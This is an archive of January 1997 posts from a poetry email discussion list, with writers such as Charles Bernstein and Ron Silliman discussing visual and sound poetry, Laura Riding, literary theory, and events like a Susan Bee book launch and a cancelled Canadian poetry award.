In the interest of emphasizing this multiplicity, but even more multiplicity of histories, I want to give a very different account of an interest in visual poetry and sound poetry from the 70s on than that of Ron Silliman's. Not only do I feel my work intimately connected to these projects, but one of the things Bruce Andrews and I wanted to do with L=A=N=G=U=A=G=E (the magazine) was to incorporate discussions of visual and
sound work (domestic and foreign) into the discussion of the poetry to which we were committed, but which was rarely discussed in this context, and vice versa. Indeed, this was, what we thought anyway, a difference between our approach and that of others, who also placed their work in the contextof the New American Poetry, and it was also a difference (at least in emphasis)

with many of the New American poets themselves.

The resisitance to visual and sound work is very strong in the poetry precincts in which I travel, indeed for many of my favorite writers such concerns are quite alien. I don't criticize this partialness, it seems to me that poets, and other artists, are necessarily partial if they are to focus on what they can or need or want to do (poetry is all about resistance, a point too often elided in disucussions like this). However, for others of us, the concerns of visual poets, book artists, and sound poets were a concrete part of what we imagined we could do as poets, and also what we did. Certainly this was and remains the case (though each case is a different story) for Nick Piombino, Susan Howe, Bruce Andrews, Steve McCaffery, Ray DiPalma, Tina Darragh, Joan Retallack, Hannah Weiner, cris cheek, Johanna Drucker (one of whose typographically extravagant books I reviewed in the first issue of L=), and myself (to mention a few obvious folks); it is why Jackson Mac Low (among others) was such a crucial figure, and still is, for many of us (some of us) (me), not to mention why the anthologies of Jerome Rothenberg, which link up these often separated strands of the visual/verbal/vocal (to use a phrase of Bob Cobbing's) have been so significant. (Jerry made this relevant comment on this list on Oct. 29, 1995: "Concerning Jim Rosenberg's digression regarding concrete poets & Black Mountain poets, etc., let me just say that it doesn't correspond at all to my memory of all of that. What I recall is a relative indifference back & forth, with as much occasional hostility on one side as on the other & several notable crossovers.")

I've always felt more affinity with many book artists and "visual" poetry than with most "contemporary" poetry; that probably goes without saying; then again the point probably does need to be made because the genre of poetry often tends to push up against, but resist, the upper limit of visuality and the lower limit of sonicality. Of course, Ron's ongoing engagement with the borders of "prose" leads into other, also fruitful, conjuncitons, syntheses, &c, one in which the visual marking often associated with poetry seem to disappear (they don't of course: they are only reconfigured, as Ron would be the first to note). (I recommend looking at Ron's very early _Mohawk_ to see another side of his visual interests.)

It also seems to me that among the younger poets ("younger than me") whose work I read with the greatest engagement, this interest in the visual and acoustic domains in, about, around, and through poetry -- that in any case cannot ever be split off from poetry -- is quite strong. Certainly in Buffalo. Crucial, now (now is never "post" except in a secondary sense), in this respect (and so this is brings me to an directly respond to the question that is also floating around on the list) is poetry on the web, in which the visual dimensions are even more visible (they are always

inescapable), for example choices of color, font and background, which many more writers are now confronted than in the past -- if not in HTML, then on their computers.

--Charles Bernstein

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67. Charles Bernstein
Re: To the Larks (incorporating "Riding")
Mon 6 Jan 1997

I've been slowly catching up with the last month's posts, so will give something of a scattered response to several issues that have come up, in this and separate post.

I. Riding Panel at the MLA Lisa Samuels, who it seems to me is the person doing the most interesting work on Riding these days, organized a panel on Riding's Prose. She gave an excellent "report" on Anarchy Is Not Enough, one of Riding's best, and certainly most bouyant, works. She was so convincing that she may have gotten a publisher to put the book back in print. Barrett Watten and I were the other speakers.

Rod Smith wrote to the list:
>Still, it would be a mistake to consider the "young" unengaged with issues of
>poetics-- Mr. Bernstein's phrase in his Riding paper "for what poets do is
>turn" provides something of a description for what I see happening in much
>contemporary writing.

I thought that I would clip and send the paragraph from which Rod quoted from "Riding's Reason", my introduction to (Riding) Jackson's and Schulyer Jackson's Rational Meaning: Toward a New Foundation for Words, which will be published by University of Virginia Press this Spring. Certainly the paragraph brings up several threads of the past month:

***** After the publication of her Collected Poems in 1938 and two non-poetry books the following year, Riding published almost nothing for thirty years. In 1970, her Selected Poems: In Five Sets was published under the name Laura (Riding) Jackson. In the preface she explained her renunciation of poetry, saying that the craft of poetry distorted the natural properties of words and that the sensuosity of words blocked what she called, in her poem "Come, Words, Away", the soundless telling of truth that is in language itself. She puts it this way in "The Wind, The Clock, The We":

> At last we can make sense, you and I,
> You lone survivors on paper,
> The wind's boldness and the clock's care

Become a voiceless language,
And I the story hushed in it —
Is more to say of me?
Do I say more than self-choked falsity
Can repeat word for word after me,
The script not altered by a breath
Of perhaps meaning otherwise?

The thirty-year pause in this life of writing, at least as reflected through a cessation of publishing, echoes the gap between George Oppen's Discrete Series (1934) and The Materials (1962). Oppen, just seven years younger than Riding, perhaps had not found a way to reconcile his left political commitment with his practice of poetry. But he did return to poetry, and with an epigraph that he could share with Riding: "They fed their hearts on fantasies / And their hearts have become savage." Riding, whose politics moved in the opposite direction from Oppen's, never returned to poetry, where meaning is always "otherwise" than intended, instead turning (for what poets do is turn) toward a way of meaning otherwise, that is not toward poetry but to a voiceless telling. The long poetic lacuna of these two "non-Jewish Jews" implicitly acknowledges the question later stated most famously by Theodor Adorno: can lyric poetry be written after — much less during — the systematic extermination of the European Jews? As far as I know, Laura (Riding) Jackson does not explicitly address this issue, but what she does say of 1938 and 1939 is significant: "Human sense of the human stood at last poised at the edge of an unignorable question about the human." Within this historical context, perhaps Oppen's commitment to a clarity and honesty ("that truthfulness / that illumines speech") that is expressible only though a highly delimited diction can be linked to (Riding) Jackson's recurrent concern for "right use" and "good sense" and frequent censure of what she experienced as linguistic violation. For the unnameable catastrophe of these years, with its rationalized but irrational logic of extermination, engendered a crisis of and for expression in which the abuse of language became inextricably identified with the abuse of the human.

******

To finally just append a response to Maria Damon. Yes I think Hannah Weiner can be understood as creating an "anti-lyric subjectivity", if not to say simply rejecting the lyric, as it has been known and practiced. I think also her use of a visualized prose, and moreover the enormous range of prose-format poems of the past thirty years, is also relevant in this regard.

--Charles Bernstein

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68. **John Cayley**
Chinese Writing * Today * Number 2
Mon 6 Jan 1997

*** Apologies for cross-postings ***

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69. **Ward Tietz**
Re: Collapse of theory (a theory of collapse)
Mon 6 Jan 1997

Ron,

On a social level I'm sure you're right. I suppose the larger question, and you seem to imply it in your account of things, is about how to respond. I wish I knew how to respond on a social/political level, but I really can't say that I do.

What I was trying to get at in my previous post was a need to respond (I probably should have been more specific) to what are, for me, problems in form. Despite the social role of theory I think there are specific and practical problems

that can be addressed locally. I think we can identify things today which resist theory simply because the forms of theory we have don't accommodate them well.

Most theory on electronic writing that I've read, for example, I haven't found very useful. It's not that I've disagreed with it, it's just that I found that the discursive form of it did not correspond very well with what was being theorized. A theory of electronic writing, and a lot of other things film, video, dance, etc., it seems to me, need demonstration as much as they need explanation. In the standard forms of theory demonstration is almost always left out.

I think it's interesting that, theory, theoria, was not always even a form of writing. The word was used originally for a group of people, sent by a state, to confirm or witness events and perform rites. Only gradually was it taken up into writing as a means of accounting, more generally, for phenomena that were not present.

So, in thinking about the form of theory, as first moving from a performative structure to a discursive one, it seems to me we could wonder about whether theory were capable of other transmutations. I guess I'm wondering if we could work out a presentational/demonstrative form for it and begin to develop a different kind of thinking.

Ward Tietz

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70. Charles Alexander
Re: The Visual in Language
Mon 6 Jan 1997

Thanks, Charles Bernstein, for the note on the visual. I had associated an intense interest in visual & sound work with L= magazine, and it had seemed like there is little such interest in later work associated with lang poetry. But certainly not "no" interest. And you remind me that, for many of the younger poets I know, there remains a commitment to such work. I have admired your own collaborations with Susan Bee. I just received word of a new book from Granary Books, Little Orphan Anagram, by Susan with Poems by you. Could you tell us anything about this work, particularly as, being a Granary Book, I imagine it's in an edition of such size & price that most of us on this list will not end up seeing a copy. Although perhaps not, as I know Granary has expanded its publishing activities in several ways, including recent publication of some of Johanna Drucker's earlier limited edition work in editions which should make that work more accessible.

And just received here is Bruce Andrews's Ex Why Zee, which is primarily written texts of performance and collaborative works from the early '80's to the present. At first glance it looks marvelous, but I just received it a couple of days ago and haven't sat down and read the whole yet.

Besides those you mention, Charles, I have always felt that Armand Schwerner's mix of visual systems and his idiosyncratic joining of visual poetry, sound poetry, dance notation, and more, was and is important to a number of writers. Also, the work of Dick Higgins & Something Else Press, and through it, a link to the work of Fluxus, always an energetic involvement of language with much else in the many worlds of art, not only visual and musical, but performative and more. Perhaps it is this willingness to expand the boundaries of language-based art (beyond what is commonly perceived as language) that I don't sense quite as much right now, although you are absolutely right to point out that a very great deal of work is going on in many computer-based and computer-accessed practices.

charles alexander

↑ Index

71. David Bromige

what are we wearing & how do we theorize

Tue 7 Jan 1997

---

herb levy sd "we may never know how each other is dressed" (or to that effect). i would enjoy knowing what our correspondents are wearing. navy blue cords, a blue shirt which is looked at more closely thin threads of white, black and blue, a flannel navy shirt over that, unbuttoned, white socks inside thick gray socks. i got most of it for xmas.and dr dean edell spectacles from longs drugs.

theory can come in many shapes. it isnt always going to be singleminded essays much revised then read in silence (more or less) to an audience that may either discuss it afterwards (e.g. sf late 70s) or not (e.g. conferences that run out of time). Then to be published in anthologies or individual collections. these list postings taken altogether, for instance, with the hmu-factor of their intersections.what color is yr moodring today?

db

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72. Ron Silliman

Theors

Tue 7 Jan 1997

Responses to three posts:

Chris,

The "problem" of dating the collapse of the Left in the US (let alone elsewhere) is a little like determining which pre-hominid fossil gets to be called "human," australopithecus or whatever. Was it 1968, when the revolution did not happen here or elsewhere (and some of those elsewheres, such as Paris, Prague and Mexico City, had much more intense experiences that year than the did the US) and we got Nixon instead, our own version of Franco. Was it 1981, when Reagan took over (Modern Times Books in SF noted that leninist texts, include Lenin, Marx, Mao, etc, stopped selling almost overnight the minute Reagan was elected--that was 15 years ago)? 1989, with the fall of the Wall, Tienanmen and collapse of the Soviet State? Or, or, or?

[[Certainly the power of a film like the late Jean Eustache's *The Mother and the Whore* or Tanner's *Jonah who will be 25 in the Year 2000* {translated into English by M. Palmer} have much to do with that sense of 1968 as a failed moment in history.]]

I don't expect poets to solve the problems of society as a precondition for writing, but they are (in their own often transformed ways) some of the useful commentators into the human condition we can ever hope to have.

On the decline of the "french thing" in US poetry, I don't know. I will note that Lisa Jarnot and Jennifer Moxley wrote two of the best books of 1996 (and if we wanted to start talking about what is going on NOW in US poetry, those books might be a good place to begin).

```
>   He claims that
>         the collapse of the left is a consequence of the
>         breakdown of the USSR (in america as well as europe)
>     I see that in europe, but HOW in America....
>     It seemed to me it was as collapsed b4 as after....
>     One could even appeal to the argument that now that
>     the phony communism of the USSR is gone, that there's
>     a hope for a new left more than there was before the
>     "breakdown".....
>      (also, the "french thing" in us poetry seems to be waning...
>        even providence has turned out Lisa J., Pam R (both with
>        B D books), Jennifer M---who have very little in common
>        with the Albiach/Palmer nexus (and now, say, Ange
>         Mlinko)....
>              well, i'll stop here. chris
```

Charles,

I appreciate your note and P.O.V. The list (see below) was, in fact, almost exactly the reason for my decision to divide In the American Tree into sections by coast. [Tho I recognize that it is, in fact, more complicated than that, what with Steve and cris (whom I'd only met once back then and had not read).] One thought to keep in mind is that during the 1970s and early '80s, the artists in SF who were most visible around venues that one also found poets tended to be Terry Fox, Tom Marioni, Jill Scott, Doug Hall, etc. Which is to say *performance* artists. The original impulse that led to the creation of New Langton Arts (and before it 80 Langton Street) was a series of performances, one a night for a month or so, on Bluxome Street, sponsored by someone around one of the galleries who was, literally, responding to their need to get these performances away from their spaces with their tendency to cause stains on the carpets. 80 Langton was a shared storage facility used by members of the SF Art Dealers Association. So that, with a few exceptions (Francie Shaw being the most visible in those days), the impact of the visual arts scene was most clearly present in the work, say, of Steve Benson and Abigail Child. By the time that Barrett had started writing for Art Week, things had of course changed radically.

"Certainly this was and remains the case (though each case
>is a different story) for Nick Piombino, Susan Howe, Bruce Andrews,
Steve McCaffery, Ray DiPalma, Tina Darragh, Joan Retallack, Hannah
Weiner, cris cheek, Johanna Drucker (one of whose typographically
extravagant books I reviewed in the first issue of L=), and myself (to
mention a few obvious folks); it is why Jackson Mac Low (among others)
was such a crucial figure, and still is, for many of us (some of us)
(me), not to mention why the anthologies of Jerome Rothenberg, which
link up these often separated strands of the visual/verbal/vocal (to
use a phrase of Bob Cobbing's) have been so significant."

Charles Bernstein

Ward,

I'm not certain that I buy the thesis that certain topics tend to be anti-theoretical (or that their forms tend not to lend themselves to that second order discourse). I do agree on the lack of usefulness in "electronic writing." I can't say that hypertext has improved much since it was invented by William Blake. I am aware of the origins of the term, its root in Theors as those emissaries were called.

I think the more crucial question is the series of specifically professional moves that were made in, in particular, the 80s, first to a theory that saw itself as more interesting than anything on which it might comment (viz October, a mag that could stand for the Fall of Theory, or at least the Autumn), even as it never

questioned its own phenomenon of Privileged Topics, Texts and Epochs. Lentriccia's move seems like an almost logical "next step" in light of that history -- that was a move someone was going to make and the only interesting question is why him instead of Fish or Greenblatt or Clifford, etc.

It would be useful to take major texts by US theoretical writers, maybe in 5 year increments, and ask "what was the social project into which this writing saw itself fitting"?

In the social sciences (as distinct from the "human" ones), in the 1960s the major mag (almost the only seriously theoretical one) was Studies on the Left, edited by students of William Appleman Williams largely in Wisconsin. That mag broke up (at virtually the same moment that SDS split over this same question) over the question of whether the purpose of historical and sociological discourse was to pave the way for a revolutionary political party. The subsequent mags started by its editors (Jimmy Weinstein at Socialist Review, Genovese at Marxist Perspectives) divided precisely on that line. Interesting to see that Genovese is now an active rightwinger (this is NO SURPRISE) and that Weinstein, who still talks a progressive line, has been one of the bete noirs of the Writers Union for all of the unpaid work at the heart of In These Times.

>What I was trying to get at in my previous post was a need to respond
(I probably should have been more specific) to what are, for me,
problems in form. Despite the social role of theory I think there are
specific and practical problems that can be addressed locally. I think
we can identify things today which resist theory simply because the
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generally, for phenomena that were not present.
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performative structure to a discursive one, it seems to me we could

wonder about whether theory were capable of other transmutations. I guess I'm wondering if we could work out a presentational/demonstrative form for it and begin to develop a different kind of thinking.
>
>
>Ward Tietz
>

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73. KENT JOHNSON
visual stuff
Tue 7 Jan 1997

Just to add a couple of names to the discussion of visual poetics:
Some of Jed Rasula's first-power but neglected work
and, much earlier, Kenneth Patchen.

And actually what about the whole area of the "art book" which a number of the original zaum "poets" moved in (Marjorie Perloff has some great material on this in _The Futurist Moment_.) What parameters do we use to decide what realm we put such "books" in? Where does poetry stop and art begin?

Or are we really speaking of a seamless continuum that we too easily split-up into expressive categories? For example, if we can have music with "just words" as John Cage showed, can we also have poetry "without words"? And what does it mean, and what purposes are served when we begin to call things by certain names? In calligraphy (the refined practice of it) there is supposed to be, as I can only barely understand it, a shimmering tension between linguistic sign and pure form that creates a brand new thing. Can we aspire toward something similar in spirit within the alphabet we inhabit?

I ask these disjointed things knowing that there can only be speculation and no answer in the end. But that's the idea, right?

Kent

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74. henry
Re: post-lang theory
Tue 7 Jan 1997

Steve Shoemaker - I guess I had it coming, trying to put out a "school" of poetry based on a metaphysics - but I was actually promoting something very close to what you described in your interesting post. I wouldn't call a Peircean pragmatist realism exactly "mystical". There are in the Russian metarealists I referred

to, some roots in Russian Symbolism & the symbolist movement in general, which could certainly be called "mystical" in the thirst for "another world", & devaluation of both ordinary reference functions of language & the "ordinary" world itself. But what I actually "called" for was a new poetry parallel to the border (defined, theoretically, by M. Epstein) between the "metarealists" (with their concern for poetic tradition & interest in "multidimensional" reality) & the "new acmeists" (with a focus on the "ordinary" world and the poem as a free entity functioning in this "present" world).

To try to be brief, I think there are connections between the realism in Peirce (the physical & "intellectual" worlds are BOTH real, outside text & our formulations about them) & the direction you outlined. Look for the Providence School's new textbook, _Novum Organum Bubbleheadicum_, which will codify all the new extra-generational tendencies. (Univ. of Left Overbie Press, 1999). -Henry Gould

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75. **henry**
Re: To the Larks
Tue 7 Jan 1997

Regarding Rod's interesting post - maybe the reason "the young" have not the same theoretical meta-explanations for themselves is that it takes a generation to absorb what's gone before AS POETRY (rather than as event, revolution, rumble). The metanarrative is in the work itself, as an absorption/re-turning/finding of what's been done. (hence the "call ourselves Poets" call). Beat, objectivist, Olson, NY, New Am, are still producing effects for which the crystallizations of theory are not yet ready. See page 4443 in _Novum O.Bubbleheadicum_ for fuller treatment. Later...- Prof. Iago Iamgodamn Dogma

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76. **Jordan Davis**
Rock the vote (change th' oil)
Tue 7 Jan 1997

Ok, Ron, but I'd have to guess that Duncan was more of an influence on Lisa Jarnot's book than any recent French writer was. "Often I am permitted to return to a salad bar..."

Come to mention it, judgment has been a thorny issue in my subculture lately, and we're all bleeding from the sides. What could it possibly mean, to write or to read without rushing to judgment? Have I been drowning in prepared statement? I heard stories that there used to be a banner in St Marks Church that

read 'Prohibit sharply the rehearsed response.' Was that the case, or were my interlocutors speaking allegorically.

Does Response (which was my favorite book of the year, and Tilt by Gillian McCain was good, and Damon Krukowski's book was surprisingly good, and Lisa's Sea Lyrics, and Moxley's Verses, Moriarty's Symmetry, Smith's Theories, Ange Mlinko's Immediate Orgy and Audit, and who can forget The Little Golden Book of Lesser New York School Poets, ed. anon -- tho really it's readings right now that seem to be the locus of everybody's attention and activity, in New York anyway -- the list of best poems read aloud in NY in 96 would be different from the list of best books of poems -- the under-published Kim Lyons gave a couple of amazing readings, John Godfrey read twice, Rod Smith's reading at Poetry City may have topped his book..) that was such a long parenthesis I'll start again -- does this newer mode, which could be called 'response' (in sympathetic contrast with 'resistance'), which takes as its basis the effects of these disastrous shifts of the world's mood -- I mean its economics -- household, yes? -- on a particular person, a particular mind, or a few at a time, does that really represent a shift of scale from that of 'new sentence' writing? Couldn't it be seen as an _intensification_ of what was heretofore diffuse?

Couldn't judgment really be about registering molarity? (Henry -- do not tell me that you've had all your moles registered since you were a lad. Thank you.)

If you really are only talking about Lentricchia, Fish, Jameson, Ross, etc, then all I can say is whoops! Whoops, and why are you talking about them.

Blame me, I voted for Anderson,
or I would have,
Jordan

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77. Ward Tietz
Re: visual etc.
Tue 7 Jan 1997

On Saturday, January 4th, Charles Alexander wrote,

"For example, in Karl Young's work (it's a very broad body of work, and these comments don't apply to all of it) one encounters a visual surface at times like rubbings of language from building surfaces (I'm thinking of some of his screenfolds here, but of other works as well), giving a sense of the history of the presentation of language, complicated by his work's presentation of works in translation, thus involving a transference of language in both time (the historical dimension) and space (one culture to another). This can get quite complex and is, I think, very much "linguistic." And in Karl Kempton's work, much of which

presents letters structured to make patterns/pictures, often the choice of letters quite consciously concerns the aural, visual, and historical properties of those letter forms."

I agree with you Charles. I think a lot of this work offers a very different kind of "history of literature." Karl Kempton is probably one of the very few who is able to maintain a link back to the pattern poetry of the medieval period and earlier.

Ward Tietz

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78. **Miekal And**
Re: visuals in poetry (later 20th C, american)
Tue 7 Jan 1997

Ive just joined the list so Im not sure if there is more to this thread then chiming in about visual/verbal lit. Our press, Xexoxial Editions has been publishing concrete, visual/verbal, collaborative, &xerolage since 1980. We carry the works of about 40 different poets from 15 different countries (including some folks I imagine that are on this list).

Also, lets not forget Kamensky, the Russian zaum artist whose visual works he chose to call ferro-concrete 40 years before the concrete poetry movement even began.

Miekal
--
@#
Dreamtime Village website: http://net22.com/dreamtime
QAZINGULAZA: And/Was/Wakest website:
http://net22.com/qazingulaza
e-mail for DT & And/Was: [redacted]

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79. **pollet**
Mina Loy Art Show NYC
Tue 7 Jan 1997

Friday's NY Times (3 Jan.,A24) has a review of a show called "Surrealistic Pillow," much of the work from William Copley's collection. Man Ray, Max Ernst, Magritte, Duchamp, all the usual suspects, but also (quoting the Grace Glueck review) "Less Familiar are such works as Loy's 'Communal Cot' (1950), a prophetic collage-assemblage depicting people or parts thereof cocooned in rags and deployed on what appears to be a large expanse of pavement." The review contains a photograph (detail) of the work. Nolan/Eckman Gallery, 560

Broadway, at Prince St., SoHo, NYC,through January 25. Maybe someone in the city could see it & post a description? Sylvester Pollet, National Poetry Foundation, Univ. Maine, Orono ME

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80. **Burt Kimmelman**
Re: The Visual in Language
Tue 7 Jan 1997

Charleses et al.,

Let me remind us all of some of Paul Blackburn's work as well, which made some inroads toward the merging of the concrete and the literal.

Burt

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81. **David Bromige**
visuals in poetry (later 20th C, american)
Tue 7 Jan 1997

---

or take a look at the work of philip whalen. (i hear from laura moriarty that a new collected is soon to appear. norman fischer is reported to know about this. but there should still be copies of _On Bears Head_out there--it was a surprisingly large run.) db

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82. **Jordan Davis**
Re: Rock the vote (change th' oil)
Tue 7 Jan 1997

Ah better a lateral mole-mesh than a _literal mish-mash_, I always say.. J

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83. **henry**
Re: Rock the vote (change th' oil)
Tue 7 Jan 1997

On Tue, 7 Jan 1997 10:18:29 -0400 Jordan Davis said:
>
>Couldn't judgment really be about registering molarity? (Henry -- do not
>tell me that you've had all your moles registered since you were a lad.
>Thank you.)

I guess you haven't heard the bootleg tape of my reading at Naked Mole Rat Theater in St. Paul, July 7, 1969. Not sure where you can order it now - used to have it under the counter if you said the password at that place on the West Bank (U of M, that is) - must be someplace in NYC - check around. It will recontrive all yr tropes through a lateral mole-mesh. - HG

p.s. How DOES the audience respond to an inner left elbow mole? Blisters??

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84. Charles Bernstein
Re: The Visual in Language
Tue 7 Jan 1997

Charles Alexander asks for some information on my new book with Susan Bee. In some way it's most like the book we did with Charles and Chax Press about ten years ago called Fool's Gold, though it works with large page formats and plays with the frame of the bound book more than that one, which has an accordion-fold format.

Here's what the prospectus for the book says:

LITTLE ORPHAN ANAGRAM by Susan Bee, with new poems by Charles Bernstein

Susan Bee has created a companion volume to her 1995 Granary Book, Talespin, transforming the genre of the illustrated book with her brilliantly colored, dizzylingly inventive, and poignant juxtapositions of new and found images. In this fin-de-siecle mix of fractured nursery rhymes, distressed mottos, riddles, and inscrutable sayings – Nonsense meets Folly on the road to Imagination.

*****

As Charles speculates, Little Orphan Anagram is a limited edition book: there will be 35 copies and the 40 pages (20 spreads) of each book will be hand-painted by Susan. (The process involves collages [with poems and images] that are letterpress printed and then painted over.) For more information you can contact Steve Clay at Granary: [redacted]. Steve will put some images of the book up at the Granary Website (http://www2.granarybooks.com) and also there will probably be some additional images put up at Kenny Goldsmith' visual poetry site (http://www.ubuweb.com/vp) – though not until next month. You can see pages from Susan's Talespin at both sites.

Meanwhile, for folks in NY Jan. 18, come to the opening:

Susan Bee: Recent Paintings and a New Granary Book
January 18 - February 28, 1997

Opening: Saturday, January 18, 5-7 pm
Gallery Hours: Thurs.-Sat., 12-6 pm and by appt.

Granary Books Gallery is pleased to announce a show of recent paintings and a new Granary Book by Susan Bee. Bee's paintings are collaged, mixed media works in oil and enamel paint that revolve around the figure as presented in movie posters of the 1940s and 50s as well as in paper dolls, postcards, and advertisements. These paintings involve narrative fragments in combination with multiple layers of paint. The collaged elements are embedded in encrusted, paint saturated surfaces. There is a tension between the narrative significations of the images and the abstract, formal qualities of the picture plane. In some of the paintings, the compositions involve decorative, organic arabesques and floral motifs. The paintings play out dramas and gender roles, psychic states, and visions.

Little Orphan Anagram will also be shown.

((*(*(*(*(*(*(**(*((**)*)*)*)*)*)*))*)*)*)*)*))*"

Sylvester Pollet asks about the Mina Loy work in the "Surrealistic Pillow" show. I haven't seen this yet, but Susan tells me that there is one collage by Loy in the show, and that it is certainly worth seeing. Also recommended is the great New York Dada show at the Whitney, which has some great Duchamps, Man Rays, Stettheimers, &c., plus a terrific small section of visual/typographics poetry. While there is Man Ray's photo of Loy, and one of the cases has a magazine open to a Loy poem, there are no visual works by Loy in this show.

((*(*(*(*(*(*(**(*((**)*)*)*)*)*)*))*)*)*)*)*))*"

>i would enjoy knowing what our correspondents are wearing
 says David Bromige

As I write this post I am wearing a green sweater and brown corduroy pants (bought at the train station in DC on my way to the MLA, one of the hard-to-pass -on sales at a place called Structure), and black New Balance sneakers with velcro flaps (I don't see why people still wear laces, kind of like being stuck in Dos). Hm, Structure and New Balance ...

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85. aerialedge
Re: To the Larks
Tue 7 Jan 1997

HG wrote
>Regarding Rod's interesting post - maybe the reason "the young" have not

the same theoretical meta-explanations for themselves is that it
>takes a generation to absorb what's gone before AS POETRY

But the other side of that is how strongly influenced people are by immediate predecessors. When I say younger poets are "going back" to the generation of the Allen anthology a lot of the ways of reading they're bringing with them are from the generation that followed the Allen anthology. It couldn't be otherwise. Luckily & of course these ways of writing/reading are quite varied. Nevertheless I think it interesting, even useful, to try & map these changes _when the mapping is understood as contingent_ -- as leading into the work -- rather than tacking or taxing it. The sheer number of interesting possibilities for writing now, in terms of form, influence, technology much less theoretical approach seem to me to be -- well, one might want to celebrate if there wasn't so much worthwhile to do. But then we do celebrate too.

--Rod

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86. k.a. hehir
POETRY AWARD CANCELLED (fwd)
Tue 7 Jan 1997

---

happy new stuff , this forward is mainly for my fellow canadians on the list but i thought others may find it interesting as well. as one who sits on a seat that publishes 2 undergraduate poetry journals, this is quite an important development for the future of poetry. awards like this also help us youngsters get into grad-school too.

cheers,
kevin hehir

---------- Forwarded message ----------
Date: Tue, 7 Jan 1997 02:05:06 -0500
From: John Barton <[redacted]>
To: Multiple recipients of list CANLIT-L <[redacted]>
Subject: POETRY AWARD CANCELLED

POETRY CATEGORY OF THE NATIONAL MAGAZINE AWARDS CANCELLED!!!!

In my capacity as co-editor of Arc: Canada's National Poetry Maga- zine, it has come to my attention that the National Magazine Awards Foundation has cancelled the Poetry category of the National Magazine Awards. I was preparing to enter the work of four contributors to Arc from the past year, when I discovered that this category had been dropped. (By the way, there is still a fiction category.)

I called the National Magazine Awards Foundation's office on December 30, 1996, to find out why the poetry category was cancelled and was told that the Foundation's board of directors, after much "discussion," decided to cancel the Poetry category due to what they have chosen to perceive as declining "interest" in the category. This was made "clear" to them by the dwindling number of entries submitted by magazines from across Canada as well as by private individuals (who may also enter their own work or the work of other poets whose work has appeared in Canadian periodicals). This "difficult" decision was apparently made with "much regret" and was "not unanimous."

Based on my discussions with the Foundation's office staff, it is not clear to me that the Foundation has ever attempted to reverse the decline of entries, which has apparently been worsening over the past ten years. As the co-editor of Arc, I have never received any letters from the Foundation, urging Arc to submit. I also very much doubt that other Canadian literary magazines were ever similarly invited to submit entries. The Foundation also implied to me that they felt the $50. fee per entry (ie. if Arc had been submitting this year, we would have paid $200. to enter the work of four contributors for consideration) was perhaps outside the reach of the modest budgets of most literary magazines. I inferred from this comment (perhaps incorrectly) that the fee could not be adjusted to accommodate the straightened budgets of the literaries" because fairness must be maintained across categories and among equals. Ie. Canadian Geographic must be treated as fairly as Arc, even though it is unlikely the two magazines would ever compete in the same category.

The Foundation also rationalized that there were many other poetry prizes for which poets could conceivably be eligible. I pointed out that there are few *national awards* for Canadian poets, especially ones where poets are honoured on the same stage as peers among other writers of other genres.

I explained to the staff member to whom I was speaking (I am embarrassed to say that I cannot remember her name), that the award is very important to Canada's poets. It is highly regarded and considered to be a true honour. It is an opportunity for poetry to be honoured on the same stage alongside other kinds of writing. It is also important to the magazines that published the nominated and winning poets because it helps them to further develop their credibility, especially in the eyes of potential contributors, subscribers, benefactors (ie. the granting agencies).

Also, to exclude poetry from the National Magazine Awards further marginalizes the genre and represents an insult from our peers whose support we will increasingly need as the funding for the arts deteriorates in Canada. If the Foundation wishes to appear indifferent to the state of the arts -- and the situation of poets in particular -- in Canada, it should be prepared to sustain a

very embarrassing and well deserved black-eye as result of the cancellation of this category.

Please call or write the National Magazine Awards Foundation to express your disgust with their decision:

> National Magazine Awards Foundation
> 109 Vanderhoof Avenue, Suite 207
> Toronto, Ontario, M4G 2H7
> [redacted]
> [redacted] (fax)

Apparently, they have changed their minds in the past. A while ago, they re-instated the award for sports writing in response to opposition from the sports writing community. Part of your message to the Foundation should also be to do a better job of promoting the submission process and deadlines to the various communities that the awards serve. It is all very well for this Toronto-based, high-brow foundation to assume that the message is getting out to magazines both on the periphery of the country and at the margins of commercial publishing. It has also struck me as very poor planning that the awards submission deadline is usually within less than two weeks of the Christmas holidays. For commercial magazines that have paid staff, it might be more reasonable for them to meet such a poorly timed deadline. For magazines like Arc (and most literary periodicals) who are run by volunteers, it is more difficult -- Arc is run in our "off-hours," ie. outside our "regular" workdays in the "real" world.

Happy New Year in these difficult times.

Thanks for your interest.

John Barton
Co-editor
Arc: Canada's National Poetry Magazine
P.O. Box 7368
Ottawa, Ontario, K1L 8E4

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87. **amato**
Re: The Visual in Language
Tue 7 Jan 1997

> *(I don't see why people still wear laces, kind of like being stuck in Dos).*

yeah but charles, mares eat oats
and dos eat oats
and little lambs eat ivy

a kid'll eat ivy too

wouldn't you?

---

white tee, navy blue sweats, grey socks...

(oh and yeah, black jockey underwear)

feelin' comfy///

happy new year!

joe

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88. shemurph

Jeffrey Timmons and Others Reading - Scottsdale

Tue 7 Jan 1997

For those of you in the Phoenix/Tempe area, the Scottsdale Center of the Arts Poetry Series, now celebrating our 10th Season, is featuring a POETRY ARTWALK on Wednesday, January 8th, at 8:00 p.m. This is a FREE EVENT. Five writers have been commissioned to create original works in response to visual art on display.

Works from the Chihuly "Baskets" and Desert Landscapes by Ed Mell have served as the visual focal points for tomorrow's program.

Jeffrey Timmons (of this list), along with Meg Davis, Wanda Panduren, Rick Naguchi, and Dorothy Lykes, have been commissioned to read their new works.

Hope to see any list members who live out this way!

Sheila Murphy

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89. Miekal And

Re: "post lang theory and who's younger than you"

Wed 8 Jan 1997

Mark Wallace wrote:
>
> Actually, as Rod Smith and some others point out, there is already a fair
> amount of critical work being done by a variety of writers working on the
> variety of theories that might fall under the rubric "postlanguage"
> poetries, or just plan Poetry with a capital G (never could spell).

Damn, I kinda feel like Rip Van Winkle out here in farm country. Like I wake up from a long sleep & there's a new rumor that the next movement is "post-language". Such a hodgepodge group of hyper-idiomatic writers & were genericizing our fine art by calling it "post-language"?

Actually the discussion about theory is interesting to me as we are in the slow beginnings of getting our "school" off the ground, have led a bunch of WORDBANG! workshops with all the various mottly assortment of anarchists, grad students, eco-villagers, & lowlife that pull thru Dreamtime Village. Ive easily been able to get people exicted about the creative act, about writing thru writing, about inventing new words, new languages, sound & visual poetry but life here is anything but academic or constructed. I coldnt interest but few in the theory, the criticism, because quite simply for many of these folks, its talking about doing something, rather than being participant in the process itself. Life here has a lot more to do with fixing windows & planting potatoes & living the dream of the culture we have yet to imagine, thru simple action & attention to the processes.

Miekal
--
@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#
Dreamtime Village website: http://net22.com/dreamtime
QAZINGULAZA: And/Was/Wakest website:
